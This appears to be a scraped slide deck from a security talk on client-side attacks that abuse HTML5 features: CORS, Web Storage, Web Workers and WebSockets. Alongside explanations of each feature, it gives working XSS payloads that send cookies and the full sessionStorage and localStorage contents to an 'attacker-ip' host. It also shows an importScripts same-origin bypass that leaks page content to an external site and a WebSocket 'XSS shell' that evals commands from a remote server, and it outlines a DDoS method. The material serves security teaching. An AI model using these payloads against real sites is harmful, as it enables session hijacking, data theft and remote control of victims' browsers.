Building Client-Side Attacks with HTML5 Features

Building Client-Side Attacks with
<HTML5> features

Tiago Ferreira
tiago.ccna@gmail.com

ABOUT ME

• Almost 4 years working with IT network devices and 5
years with security (MSS, Pentest, VA, etc).

• Focus on Web Application vulnerabilities exploitation.

• Security analyst at CONVISO Application Security.

• Member of the research group Alligator Security Team.

A few words about Same Origin Policy
• Perhaps the most important security concept within modern browsers.

• The policy permits scripts running on pages originating from the same
site to access each other‘s.

• Prevents access to most methods and properties across pages on
different sites.

• An origin is defined by the protocol, host/domain, and port of a URL:

o http://www.example.com/dir/page.html
o https://www.example.com/dir/page2.html
o http://www.example.com:8080/dir/page.html
o http://en.example.com/dir/other.html

• In practice, there is no single same-origin policy:

o DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight,
etc

HTML5 Overview
• The Hypertext Markup Language version 5 (HTML5) is the
successor of HTML 4.01, XHTML 1.0 and XHTML 1.1.

• It brings several new technologies to the browser which have
never been, such as:

o New DOM interfaces
o New forms elements
o Enhanced XHR (Level 2)
o Web Storage
o Web Socket
o Web Workers
o File API
o Many new attributes

• HTML5 provides new features to web applications but also
introduces new security issues.

CORS - (Cross-Origin
Resource Sharing)

CORS

• CORS is a web browser technology that enables client-side API
to make cross-origin requests to external resources.

• New HTTP header is defined "Access-Control-Allow-Origin" .

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html
Access-Control-Allow-Origin: http://example.com/

• First the UA makes the request to the foreign domain and then
checks the access control based on the returned Access-Control-
Allow-Origin header.

• The decision whether the API (XMLHttpRequest) is allowed to
access foreing domains is made in UA.

CORS

• Potential threats

o Information gathering
- Response time based intranet scanning

o Universal Allow
- Bypass access control

o Remote attacking a web server
- UA can be used to attack another web server

o DDoS attacks combined with Web Workers

Web Storage
• Web Storage gives websites the possibility to store data on the
user's browser. The information can be accessed later using
JavaScript.

• Web storage offers two different storage areas:

o Local Storage
o Session Storage

• Web storage provides far greater storage capacity (depends on
browser between 5MB to 10MB).

• It is supported by: Internet Explorer 8, Mozilla-based browsers
(e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4
(sessionStorage is from 5), Opera 10.50.

localStorage
• Data placed in local storage is per domain and persists after the
browser is closed.

• To store value on the browser:

o localStorage.setItem(key, value);

• To read value stored on the browser;

o localStorage.getItem(key);

• Security considerations:

o Sensitive data can be stolen;
o Data can be spoofed;
o Persistent attack vectors.

sessionStorage

• Session storage is per-page-per-window and is limited to the
lifetime of the window.

• Store value on the browser:

o sessionStorage.setItem('key', 'value');

• Read value stored on the browser:

o sessionStorage.getItem(key);

• Security considerations:

o There’s no ‘path’ atribute;
o There’s no ‘httpOnly’ atribute;
o Session hijacking (xss, session fixation).

Attack: Session hijacking using XSS

• Old XSS payload to get cookies

var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie;

• New XSS payload

var a=new Image(); a.src=“http://attacker-ip/cookie=“+
sessionStorage.getItem(‘SessionID’);

Attack: Session hijacking using XSS

DEMO

<script>
for(var i = 0; i < sessionStorage.length; i++){
var key = sessionStorage.key(i);
var a = new Image();

a.src="http://attacker-ip/Storage.html?key=" + key +
"&value=" + sessionStorage.getItem(key);

}
</script>

Attack: Stealing HTML5 localStorage

DEMO

<script>
for(var i = 0; i < localStorage.length; i++){
var key = localStorage.key(i);
var a = new Image();

a.src="http://attacker-ip/Storage.html?key=" + key +
“ &value=" + localStorage.getItem(key);

}
</script>

Web workers

• API for spawning background scripts in web
application via JavaScript.

o Real OS-level threads and concurrency.
o Managed communication through posting
messages to background worker.

• Web Workers run in an isolated thread.

• Workers do NOT have access to: DOM, window,
document, and parent objects.

• Security validation based in same-origin principle.

Spawning a worker

http://owasp.org/index.html

<script>
var worker = new Worker("worker.js");
a
worker.onmessage = function(event){ http://owasp.org/worker.js
document.getElementById('response„).t self.onmessage = function(event){
extContet = event.data self.postMessage('Hello World');

}; };
worker.postMessage();
</script>
…
<pre id=“response” value=“ “>

Workers – Available features
• The location object (read-only).

• The navigator object

• setTimeout()/clearTimeout() and setInterval()/clearInterval().

• Spawning other web workers.

• postMessage()
o send data to worker (strings, JSON object, etc).

• Event support (addEventListener, dispatchEvent, removeEventLlistener).

• importScripts
o importScript(‘http://external.com/script.js’).

• XMLHttpRequests.

Sending data to worker

http://owasp.org/index.html
<script>
var worker = new
Worker("worker.js");

http://owasp.org/worker.js
worker.onmessage =
function(event){
self.onmessage = function(event){
self.postMessage(event);
document.getElementById('respo
nse„).textContet = event.data;
};
};

worker.postMessage(„Hello
OWASP Floripa`);
</script>

Attack: Bypass SOP with importScripts()

• Workers makes a natural sandbox for running untrusted code.

• Workers can’t access page content.

• ImportScripts() permits run thirdy party code in your domain.
http://owasp.org/teste.js

var sandbox=new Worker(„sandbox.js‟)
sandbox.postMessage(„http://external.sit http://owasp.org/sandbox.js
e/badguy.js‟);

onmessage=function(e){
importScripts(e.data);
postMessage(this[„someUnt
rustedFunction‟]());
}

Attack: Bypass SOP with importScripts()

• But workers can run XMLHttpRequests
DEMO
o Script is running in the domain of the parent page.
(http:/owasp.org/teste.js).

o Can read any content on your domain.

http://external.site/badguy.js

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://owasp.org/index.html', true);
xhr.send();
xhr.onreadystatechange = function(remote_data){
if (remote_data.target.readyState == 4){
var remote_data = remote_data.target.responseText;
importScripts('http://external.site/remote-page-content=' +
remote_data);
};
};

Attack: DDoS with CORS and Web Workers

• Start a WebWorker that would fire multiple Cross Origin
Requests at the target.

• Thanks CORS that can send GET/POST requests to
any website.

• Sending a cross domain GET request is nothing new
(IMG tag or SCRIPT).

• So simply by getting someone to visit a URL you can
get them to send 10,000 HTTP requests/minute.

• Can be spread with social engineering techniques
(malicious URL, XSS vulnerabilities).

Attack: DDoS with CORS and Web Workers

Target Web Site
XSS victims

Vulnerable XSS web site

DEMO
Attacker injects XSS payload

Web Sockets
• Web Sockets is a web technology that provides bi-directional,
full-duplex communications channels over a single TCP
connection.

• The connection is established by upgrading from the HTTP to the
Web Socket protocol.

• Web servers are now able to send content to the browser without
being solicited by the client, wich allows messages to be passed
back and forth while keeping the connection open.

• URI Scheme: ws:// and wss://

• Threats that can be exploited:

o Remote Shell, Web-Based Botnet, Port scanning

Web Sockets – XSS Shell

DEMO
<script>

var connection = new WebSocket('ws://attacker-ip:port');
connection.onopen = function (){
connection.send(„null‟);
};

connection.onmessage = function(event){
eval(event.data);
};

</script>

References

• The Websocket Protocol (http://tools.ietf.org/html/rfc6455)

• Web Workers (http://www.w3.org/TR/workers/)

• Web Storage (http://www.w3.org/TR/webstorage/)

• Attack & Defense Labs (http://blog.andlabs.org/)

• HTML5 Rocks (http://www.html5rocks.com/).

• HTML5 Web Security - Michael Schmidt

• The World According to KOTO (http://blog.kotowicz.net/)

• Shreeraj's security blog (http://shreeraj.blogspot.in/)

Building Client-Side Attacks with HTML5 Features

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Building Client-Side Attacks with HTML5 Features (20)

More from Conviso Application Security (20)

Recently uploaded (20)

Building Client-Side Attacks with HTML5 Features